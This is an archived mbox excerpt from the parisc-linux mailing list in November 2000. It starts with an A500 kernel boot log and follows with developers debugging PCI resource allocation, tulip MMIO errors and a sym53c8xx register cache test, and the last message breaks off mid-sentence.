lba_fixup_bus(0x00000000cffe60c0) bus 0 sysdata 0x00000000cffe9e80
   cons 0x00002000 boot 0x00000000 kbd 0x00002000
   claimed 00:00 0 [0,7f]/101
   claimed 00:00 1 [fffffffff8020000,fffffffff80203ff]/200
   claimed 00:20 0 [fffffffff8000000,fffffffff8000fff]/200

LBA PIOP resource tree
  00000000cffe9ed0 [0,7ffff]/100
    00000000cffe5080 [0,7f]/101
LBA pcibios_size_bridges()
LBA pci_assign_unassigned_resources()
pcibios_update_resource(00:08, ..., 0) [100,1ff]/101
pcibios_update_resource(00:08, ..., 1) [fffffffff8001000,fffffffff80013ff]/204
PCI: dev PCI device 1000:000b type 64-bit
pcibios_update_resource(00:08, ..., 3) [fffffffff8002000,fffffffff8003fff]/204
PCI: dev PCI device 1000:000b type 64-bit
pcibios_update_resource(00:09, ..., 0) [200,2ff]/101
pcibios_update_resource(00:09, ..., 1) [fffffffff8001400,fffffffff80017ff]/204
PCI: dev PCI device 1000:000b type 64-bit
pcibios_update_resource(00:09, ..., 3) [fffffffff8004000,fffffffff8005fff]/204
PCI: dev PCI device 1000:000b type 64-bit
pcibios_update_resource(00:10, ..., 0) [300,3ff]/101
pcibios_update_resource(00:10, ..., 1) [fffffffff8001800,fffffffff80018ff]/200
pcibios_update_resource(00:10, ..., 2) [fffffffff8006000,fffffffff8006fff]/200
pcibios_update_resource(00:11, ..., 0) [400,4ff]/101
pcibios_update_resource(00:11, ..., 1) [fffffffff8001900,fffffffff80019ff]/200
pcibios_update_resource(00:11, ..., 2) [fffffffff8007000,fffffffff8007fff]/200
pcibios_update_resource(00:20, ..., 1) [80,bf]/101
pcibios_update_resource(00:28, ..., 0) [fffffffff8008000,fffffffff8008fff]/200
pcibios_update_resource(00:28, ..., 1) [c0,ff]/101
LBA pci_set_bus_ranges()
pcibios_fixup_pbus_ranges(0, [0,1000 fffffffff8000000,fffffffff8100000])
lba version TR4.0 (0x5) found at 0xfffffffffed34000
     0: 0x8000000000000000      PA 0x0000000000000010,0x0000000000000017
                                IO 0x0000000000000010,0x0000000000000017
     1: 0x8000000000000001      PA 0xfffffffff9000000,0xfffffffff97fffff
                                IO 0x00000000f9000000,0x00000000f97fffff
     2: 0x8000000000000002      PA 0xfffffff904000000,0xfffffff97fffffff
                                IO 0x000000f904000000,0x000000f97fffffff
lba range[2] : ignoring GMMIO (0xfffffff904000000)
     3: 0x8000000000000004      PA 0xfffffff900000000,0xfffffff903ffffff
                                IO 0x000000f900000000,0x000000f903ffffff
lba_fixup_bus(0x00000000cffe62c0) bus 16 sysdata 0x00000000cffe61c0
   cons 0x00002000 boot 0x00000000 kbd 0x00002000

LBA PIOP resource tree
  00000000cffe6210 [100000,17ffff]/100
LBA pcibios_size_bridges()
LBA pci_assign_unassigned_resources()
pcibios_update_resource(10:00, ..., 1) [100000,1000ff]/101
pcibios_update_resource(10:00, ..., 2) [100100,1001ff]/101
pcibios_update_resource(10:00, ..., 3) [fffffffff9000000,fffffffff90001ff]/200
pcibios_update_resource(10:00, ..., 5) [fffffffff9020000,fffffffff903ffff]/200
LBA pci_set_bus_ranges()
pcibios_fixup_pbus_ranges(0, [0,1000 fffffffff8000000,fffffffff8100000])
pcibios_fixup_pbus_ranges(16, [100000,101000 fffffffff9000000,fffffffff9100000])
lba version TR4.0 (0x5) found at 0xfffffffffed38000
     0: 0x8000000000000000      PA 0x0000000000000020,0x0000000000000027
                                IO 0x0000000000000020,0x0000000000000027
     1: 0x8000000000000001      PA 0xfffffffffa000000,0xfffffffffa7fffff
                                IO 0x00000000fa000000,0x00000000fa7fffff
     2: 0x8000000000000002      PA 0xfffffffa04000000,0xfffffffa7fffffff
                                IO 0x000000fa04000000,0x000000fa7fffffff
lba range[2] : ignoring GMMIO (0xfffffffa04000000)
     3: 0x8000000000000004      PA 0xfffffffa00000000,0xfffffffa03ffffff
                                IO 0x000000fa00000000,0x000000fa03ffffff
lba_fixup_bus(0x00000000cffe64c0) bus 32 sysdata 0x00000000cffe63c0
   cons 0x00002000 boot 0x00000000 kbd 0x00002000

LBA PIOP resource tree
  00000000cffe6410 [200000,27ffff]/100
LBA pcibios_size_bridges()
LBA pci_assign_unassigned_resources()
pcibios_update_resource(20:00, ..., 0) [200000,2000ff]/101
pcibios_update_resource(20:00, ..., 1) [fffffffffa000000,fffffffffa0003ff]/204
PCI: dev PCI device 1000:000b type 64-bit
pcibios_update_resource(20:00, ..., 3) [fffffffffa002000,fffffffffa003fff]/204
PCI: dev PCI device 1000:000b type 64-bit
pcibios_update_resource(20:01, ..., 0) [200100,2001ff]/101
pcibios_update_resource(20:01, ..., 1) [fffffffffa000400,fffffffffa0007ff]/204
PCI: dev PCI device 1000:000b type 64-bit
pcibios_update_resource(20:01, ..., 3) [fffffffffa004000,fffffffffa005fff]/204
PCI: dev PCI device 1000:000b type 64-bit
LBA pci_set_bus_ranges()
pcibios_fixup_pbus_ranges(0, [0,1000 fffffffff8000000,fffffffff8100000])
pcibios_fixup_pbus_ranges(16, [100000,101000 fffffffff9000000,fffffffff9100000])
pcibios_fixup_pbus_ranges(32, [200000,201000 fffffffffa000000,fffffffffa100000])
lba version TR4.0 (0x5) found at 0xfffffffffed3c000
     0: 0x8000000000000000      PA 0x0000000000000030,0x0000000000000037
                                IO 0x0000000000000030,0x0000000000000037
     1: 0x8000000000000001      PA 0xfffffffffb000000,0xfffffffffb7fffff
                                IO 0x00000000fb000000,0x00000000fb7fffff
     2: 0x8000000000000002      PA 0xfffffffb04000000,0xfffffffb7fffffff
                                IO 0x000000fb04000000,0x000000fb7fffffff
lba range[2] : ignoring GMMIO (0xfffffffb04000000)
     3: 0x8000000000000004      PA 0xfffffffb00000000,0xfffffffb03ffffff
                                IO 0x000000fb00000000,0x000000fb03ffffff
lba_fixup_bus(0x00000000cffe66c0) bus 48 sysdata 0x00000000cffe65c0
   cons 0x00002000 boot 0x00000000 kbd 0x00002000
lba_fixup_bus(0x00000000cffe67c0) bus 49 sysdata 0x00000000cffe65c0
   cons 0x00002000 boot 0x00000000 kbd 0x00002000
lba_fixup_bus(0x00000000cffe68c0) bus 50 sysdata 0x00000000cffe65c0
   cons 0x00002000 boot 0x00000000 kbd 0x00002000

LBA PIOP resource tree
  00000000cffe6610 [300000,37ffff]/100
LBA pcibios_size_bridges()
LBA pci_assign_unassigned_resources()
PCI: Failed to allocate resource 0 for PCI device 1000:000b
PCI: Failed to allocate resource 1 for PCI device 1000:000b
PCI: Failed to allocate resource 3 for PCI device 1000:000b
PCI: Failed to allocate resource 0 for PCI device 1000:000b
PCI: Failed to allocate resource 1 for PCI device 1000:000b
PCI: Failed to allocate resource 3 for PCI device 1000:000b
PCI: Failed to allocate resource 0 for PCI device 1011:0019
PCI: Failed to allocate resource 1 for PCI device 1011:0019
PCI: Failed to allocate resource 0 for PCI device 1011:0019
PCI: Failed to allocate resource 1 for PCI device 1011:0019
PCI: Failed to allocate resource 0 for PCI device 1011:0009
PCI: Failed to allocate resource 1 for PCI device 1011:0009
PCI: Failed to allocate resource 0 for PCI device 1011:0009
PCI: Failed to allocate resource 1 for PCI device 1011:0009
PCI: Failed to allocate resource 0 for PCI device 1011:0009
PCI: Failed to allocate resource 1 for PCI device 1011:0009
PCI: Failed to allocate resource 0 for PCI device 1011:0009
PCI: Failed to allocate resource 1 for PCI device 1011:0009
LBA pci_set_bus_ranges()
pcibios_fixup_pbus_ranges(0, [0,1000 fffffffff8000000,fffffffff8100000])
pcibios_fixup_pbus_ranges(16, [100000,101000 fffffffff9000000,fffffffff9100000])
pcibios_fixup_pbus_ranges(32, [200000,201000 fffffffffa000000,fffffffffa100000])
pcibios_fixup_pbus_ranges(49, [310000,311000 fffffffffb000000,fffffffffb100000])
pcibios_fixup_pbus_ranges(50, [320000,321000 fffffffffb000000,fffffffffb100000])
pcibios_fixup_pbus_ranges(48, [0,1000 fb000000,fb100000])
SBA found Astro 2.1 at 0xfffffffffed00000
lba_init_iregs() ibase 0x1 imask 0xf0000000
lba_init_iregs() base_addr fffffffffed3c000
lba_init_iregs() base_addr fffffffffed38000
lba_init_iregs() base_addr fffffffffed34000
lba_init_iregs() base_addr fffffffffed30000
lba_init_iregs() done
lba: lba_bios_init
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 16Kbytes
TCP: Hash tables configured (established 8192 bind 8192)
Starting kswapd v1.7
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
sym53c8xx: at PCI bus 0, device 2, function 0
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
kernel BUG at sym53c8xx.c:725!
sym53c8xx: 53c876 detected 
sym53c8xx: at PCI bus 0, device 2, function 1
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
kernel BUG at sym53c8xx.c:725!
sym53c8xx: 53c876 detected 
sym53c8xx: at PCI bus 0, device 1, function 0
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
kernel BUG at sym53c8xx.c:725!
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 0, device 1, function 1
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
kernel BUG at sym53c8xx.c:725!
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 32, device 0, function 0
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
kernel BUG at sym53c8xx.c:725!
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 32, device 0, function 1
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
kernel BUG at sym53c8xx.c:725!
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 49, device 4, function 0
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
kernel BUG at sym53c8xx.c:725!
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 49, device 4, function 1
sym53c8xx: setting PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
kernel BUG at sym53c8xx.c:725!
sym53c8xx: 53c896 detected 
kernel BUG at sym53c8xx.c:725!
sym53c876-0: rev 0x14 on pci bus 0 device 2 function 0 irq 130
sym53c876-0: NCR clock is 40218KHz
sym53c876-0: ID 7, Fast-20, Parity Checking
sym53c876-0: on-chip RAM at 0xfffffffff8006000
sym53c876-0: restart (scsi reset).
sym53c876-0: Downloading SCSI SCRIPTS.
kernel BUG at sym53c8xx.c:725!
sym53c876-1: rev 0x14 on pci bus 0 device 2 function 1 irq 131
sym53c876-1: NCR clock is 40218KHz
sym53c876-1: ID 7, Fast-20, Parity Checking
sym53c876-1: on-chip RAM at 0xfffffffff8007000
sym53c876-1: restart (scsi reset).
sym53c876-1: Downloading SCSI SCRIPTS.
kernel BUG at sym53c8xx.c:725!
sym53c896-2: rev 0x7 on pci bus 0 device 1 function 0 irq 129
sym53c896-2: NCR clock is 40218KHz
sym53c896-2: ID 7, Fast-40, Parity Checking
sym53c896-2: on-chip RAM at 0xfffffffff8002000
sym53c896-2: restart (scsi reset).
sym53c896-2: handling phase mismatch from SCRIPTS.
sym53c896-2: Downloading SCSI SCRIPTS.
kernel BUG at sym53c8xx.c:725!
sym53c896-3: rev 0x7 on pci bus 0 device 1 function 1 irq 130
sym53c896-3: NCR clock is 40218KHz
sym53c896-3: ID 7, Fast-40, Parity Checking
sym53c896-3: on-chip RAM at 0xfffffffff8004000
sym53c896-3: restart (scsi reset).
sym53c896-3: handling phase mismatch from SCRIPTS.
sym53c896-3: Downloading SCSI SCRIPTS.
kernel BUG at sym53c8xx.c:725!
sym53c896-4: rev 0x1 on pci bus 32 device 0 function 0 irq 256
sym53c896-4: NCR clock is 40218KHz
sym53c896-4: ID 7, Fast-40, Parity Checking
sym53c896-4: on-chip RAM at 0xfffffffffa002000
sym53c896-4: restart (scsi reset).
sym53c896-4: handling phase mismatch from SCRIPTS.
sym53c896-4: Downloading SCSI SCRIPTS.
kernel BUG at sym53c8xx.c:725!
sym53c896-5: rev 0x1 on pci bus 32 device 0 function 1 irq 257
sym53c896-5: NCR clock is 40218KHz
sym53c896-5: ID 7, Fast-40, Parity Checking
sym53c896-5: on-chip RAM at 0xfffffffffa004000
sym53c896-5: restart (scsi reset).
sym53c896-5: handling phase mismatch from SCRIPTS.
sym53c896-5: Downloading SCSI SCRIPTS.
kernel BUG at sym53c8xx.c:725!
sym53c896-6: rev 0x5 on pci bus 49 device 4 function 0 irq 323
sym53c896-6: ID 7, Fast-40, Parity Checking
sym53c896-6: on-chip RAM at 0xfffffffffb000000
CACHE TEST FAILED: reg dstat-sstat2 readback ffffffff.
CACHE INCORRECTLY CONFIGURED.
sym53c896-6: giving up ...
kernel BUG at sym53c8xx.c:725!
kernel BUG at sym53c8xx.c:725!
kernel BUG at sym53c8xx.c:725!
sym53c896-6: rev 0x5 on pci bus 49 device 4 function 1 irq 320
sym53c896-6: ID 7, Fast-40, Parity Checking
sym53c896-6: on-chip RAM at 0xfffffffffb000000
CACHE TEST FAILED: reg dstat-sstat2 readback ffffffff.
CACHE INCORRECTLY CONFIGURED.
sym53c896-6: giving up ...
kernel BUG at sym53c8xx.c:725!
kernel BUG at sym53c8xx.c:725!
scsi0 : sym53c8xx - version 1.6b
scsi1 : sym53c8xx - version 1.6b
scsi2 : sym53c8xx - version 1.6b
scsi3 : sym53c8xx - version 1.6b
scsi4 : sym53c8xx - version 1.6b
scsi5 : sym53c8xx - version 1.6b
scsi : 6 hosts.
  Vendor: SEAGATE   Model: ST318404LC        Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 03
Detected scsi disk sda at scsi3, channel 0, id 15, lun 0
sym53c896-3-<15,0>: tagged command queue depth set to 8
scsi : detected 1 SCSI disk total.
sym53c896-3-<15,0>: wide msgout: 1-2-3-1.
sym53c896-3-<15,0>: wide msgin: 1-2-3-1.
sym53c896-3-<15,0>: wide: wide=1 chg=0.
sym53c896-3-<15,0>: wide msgout: 1-2-3-1.
sym53c896-3-<15,0>: wide msgin: 1-2-3-1.
sym53c896-3-<15,0>: wide: wide=1 chg=0.
sym53c896-3-<15,0>: sync msgout: 1-3-1-c-1f.
sym53c896-3-<15,0>: sync msg in: 1-3-1-c-1f.
sym53c896-3-<15,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=31 fak=0 chg=0.
sym53c896-3-<15,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 31)
SCSI device sda: hdwr sector= 512 bytes. Sectors= 35566480 [17366 MB] [17.4 GB]
Partition check:
 sda: unknown partition table
Serial driver version 5.01 (2000-05-29) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Linux Tulip driver version 0.9.8 (July 13, 2000)
tulip: MMIO resource (0x80@0x0) unavailable, aborting
tulip: MMIO resource (0x80@0x310200) unavailable, aborting
tulip: MMIO resource (0x80@0x310280) unavailable, aborting
tulip: MMIO resource (0x80@0x320300) unavailable, aborting
tulip: MMIO resource (0x80@0x320380) unavailable, aborting
tulip: MMIO resource (0x80@0x320400) unavailable, aborting
tulip: MMIO resource (0x80@0x320480) unavailable, aborting
IP-Config: No network devices available.
Switching from PDC console


From - Thu Nov 08 21:13:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new method for 64-bit parisc tree
Date: Thu, 2 Nov 2000 19:51:19 +1100 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011021825100.26717-100000@front.linuxcare.com.au>
References: <E13r2Ag-0000Xp-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619240 5394 80.91.229.3 (22 Nov 2014 01:20:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Thu Nov  2 01:51:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA29405
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 01:51:34 -0700
Original-Received: (qmail 17460 invoked by uid 15267); 2 Nov 2000 08:53:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17443 invoked from network); 2 Nov 2000 08:53:16 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 08:53:16 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA10369;
	Thu, 2 Nov 2000 19:51:19 +1100
In-Reply-To: <E13r2Ag-0000Xp-00@noam.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8293

On Wed, 1 Nov 2000, Paul Bame wrote:

> The future parisc64 tree ONLY contains files which are different from,
> or in addition to, those in the parisc tree.  When you 'make config'
> or 'make oldconfig', each file in the parsic tree is symbolically
> linked as the same file in the parisc64 tree.  This enables all
> the rest of the tools/build to work normally.  'make distclean' includes
> a step to remove all the symlinks.

Instead, can't you simply play tricks with -I, and add a symbolic link
asm -> ../asm-parisc in asm-parisc64)?  The idea being to end up with
an include path looking like
"-I $(TOPDIR)/include -I $(TOPDIR)/include/asm"

That way, asm/foo.h is found by the first -I if we have asm-parisc64/foo.h,
and is found by the second if asm-parisc/foo.h exists but not
asm-parisc64/foo.h.  Hmm, you might also need -I-

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a500.out16
Date: Thu, 2 Nov 2000 10:43:06 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <20001102104306.F32715@linuxcare.com>
References: <200011020821.AAA28301@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619240 5395 80.91.229.3 (22 Nov 2014 01:20:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rhirst@linuxcare.com  Thu Nov  2 03:42:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA30300
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 03:42:26 -0700
Original-Received: (qmail 5575 invoked by uid 15267); 2 Nov 2000 10:44:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5560 invoked from network); 2 Nov 2000 10:44:05 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 10:44:05 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C8992B005; Thu,  2 Nov 2000 10:43:06 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200011020821.AAA28301@milano.cup.hp.com>; from grundler@cup.hp.com on Thu, Nov 02, 2000 at 12:21:36AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8294

On Thu, Nov 02, 2000 at 12:21:36AM -0800, Grant Grundler wrote:
> Hi Richard (et al),
> I finally think I understand how pcibios_align_resource() is used...
> that definitely was the problem. Everything on A500 but PCI-PCI bridge
> seems to be assigned I/O port and MMIO addresses correctly.
> 
> I'll look at tulip code tomorrow to see why it's not happy.

I fixed tulip_core.c to report what it means, which gave me

tulip: MMIO resource (0x400@0xfffffffff8020000) unavailable, aborting

Note sym53c8xx.c doesn't seem to bother with request_mem_region(), so
maybe request_mem_region() is just broken.

I then patched out the goto, so it ignored that error, and....

Linux Tulip driver version 0.9.8 (July 13, 2000)
tulip: MMIO resource (0x400@0xfffffffff8020000) unavailable, aborting
PCI: Setting latency timer of device 00:00.0 to 64
eth0: Digital DS21143 Tulip rev 65 at 0x0, 00:30:6E:03:79:A0, IRQ 128.
eth0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 10.160.240.111, my address is 10.160.240.117
Switching from PDC console

Wheeee!  Nice work Grant!

Richard


From - Thu Nov 08 21:13:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a500.out16
Date: Thu, 2 Nov 2000 10:48:33 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <20001102104833.G32715@linuxcare.com>
References: <200011020821.AAA28301@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619241 5396 80.91.229.3 (22 Nov 2014 01:20:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rhirst@linuxcare.com  Thu Nov  2 03:47:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA30703
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 03:47:48 -0700
Original-Received: (qmail 9732 invoked by uid 15267); 2 Nov 2000 10:49:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9693 invoked from network); 2 Nov 2000 10:49:30 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 10:49:30 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id BDFA6B007; Thu,  2 Nov 2000 10:48:33 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200011020821.AAA28301@milano.cup.hp.com>; from grundler@cup.hp.com on Thu, Nov 02, 2000 at 12:21:36AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8295

On Thu, Nov 02, 2000 at 12:21:36AM -0800, Grant Grundler wrote:

> I'd also like to connect some more SCSI disks....but any clue
> what the "CACHE TEST FAILED" is about?
....
> sym53c896-6: rev 0x5 on pci bus 49 device 4 function 0 irq 323
> sym53c896-6: ID 7, Fast-40, Parity Checking
> sym53c896-6: on-chip RAM at 0xfffffffffb000000
> CACHE TEST FAILED: reg dstat-sstat2 readback ffffffff.
> CACHE INCORRECTLY CONFIGURED.

I'd guess that the NCR registers are being cached:


static int __init ncr_regtest (struct ncb* np)
{
        register volatile u_int32 data;
        /*
        **      ncr registers may NOT be cached.
        **      write 0xffffffff to a read only register area,
        **      and try to read it back.
        */
        data = 0xffffffff;
        OUTL_OFF(offsetof(struct ncr_reg, nc_dstat), data);
        data = INL_OFF(offsetof(struct ncr_reg, nc_dstat));
#if 1
        if (data == 0xffffffff) {
#else
        if ((data & 0xe2f0fffd) != 0x02000080) {
#endif
                printk ("CACHE TEST FAILED: reg dstat-sstat2 readback %x.\n",
                        (unsigned) data);
                return (0x10);
        };
        return (0);
}


Richard


From - Thu Nov 08 21:13:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Friedrich Lobenstock <fl@fl.priv.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 3000 - 922LX ??
Date: Thu, 02 Nov 2000 12:15:17 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <3A014CC5.CFBC7AD4@fl.priv.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619241 5400 80.91.229.3 (22 Nov 2014 01:20:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: fl@fl.priv.at  Thu Nov  2 04:12:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA00675
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 04:12:26 -0700
Original-Received: (qmail 29364 invoked by uid 15267); 2 Nov 2000 11:14:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29327 invoked from network); 2 Nov 2000 11:14:06 -0000
Original-Received: from www.hr.vc-graz.ac.at (193.171.240.3)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 11:14:06 -0000
Original-Received: from fl.priv.at (a-11.vc-graz.ac.at [193.171.240.11])
	by www.hr.vc-graz.ac.at (8.9.3/8.8.7) with ESMTP id MAA02863;
	Thu, 2 Nov 2000 12:14:05 +0100
Original-Sender: fl@www.hr.vc-graz.ac.at
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.18pre15 i686)
X-Accept-Language: de, en
Xref: news.gmane.org gmane.linux.ports.parisc:8296

Hi!

How about support for a HP3000-922LX? I think this should be a PA-RISC
machine.

PS: Please CC me, because I'm not on the list. 
 
MfG / Regards
Friedrich Lobenstock


From - Thu Nov 08 21:13:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a500.out16
Date: Thu, 2 Nov 2000 11:30:47 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <20001102113047.J32715@linuxcare.com>
References: <200011020821.AAA28301@milano.cup.hp.com> <20001102104306.F32715@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619241 5405 80.91.229.3 (22 Nov 2014 01:20:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rhirst@linuxcare.com  Thu Nov  2 04:30:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA01073
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Nov 2000 04:30:44 -0700
Original-Received: (qmail 9083 invoked by uid 15267); 2 Nov 2000 11:31:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9069 invoked from network); 2 Nov 2000 11:31:56 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 2 Nov 2000 11:31:56 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 3C903B005; Thu,  2 Nov 2000 11:30:47 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001102104306.F32715@linuxcare.com>; from rhirst@linuxcare.com on Thu, Nov 02, 2000 at 10:43:06AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:8297

On Thu, Nov 02, 2000 at 10:43:06AM +0000, Richard Hirst wrote:
> On Thu, Nov 02, 2000 at 12:21:36AM -0800, Grant Grundler wrote:
> > Hi Richard (et al),
> > I finally think I understand how pcibios_align_resource() is used...
> > that definitely was the problem. Everything on A500 but PCI-PCI bridge
> > seems to be assigned I/O port and MMIO addresses correctly.
> > 
> > I'll look at tulip code tomorrow to see why it's not happy.
> 
> I fixed tulip_core.c to report what it means, which gave me
> 
> tulip: MMIO resource (0x400@0xfffffffff8020000) unavailable, aborting
> 
> Note sym53c8xx.c doesn't seem to bother with request_mem_region(), so
> maybe request_mem_region() is just broken.

It is broken because of the following line in kernel/resource.c:

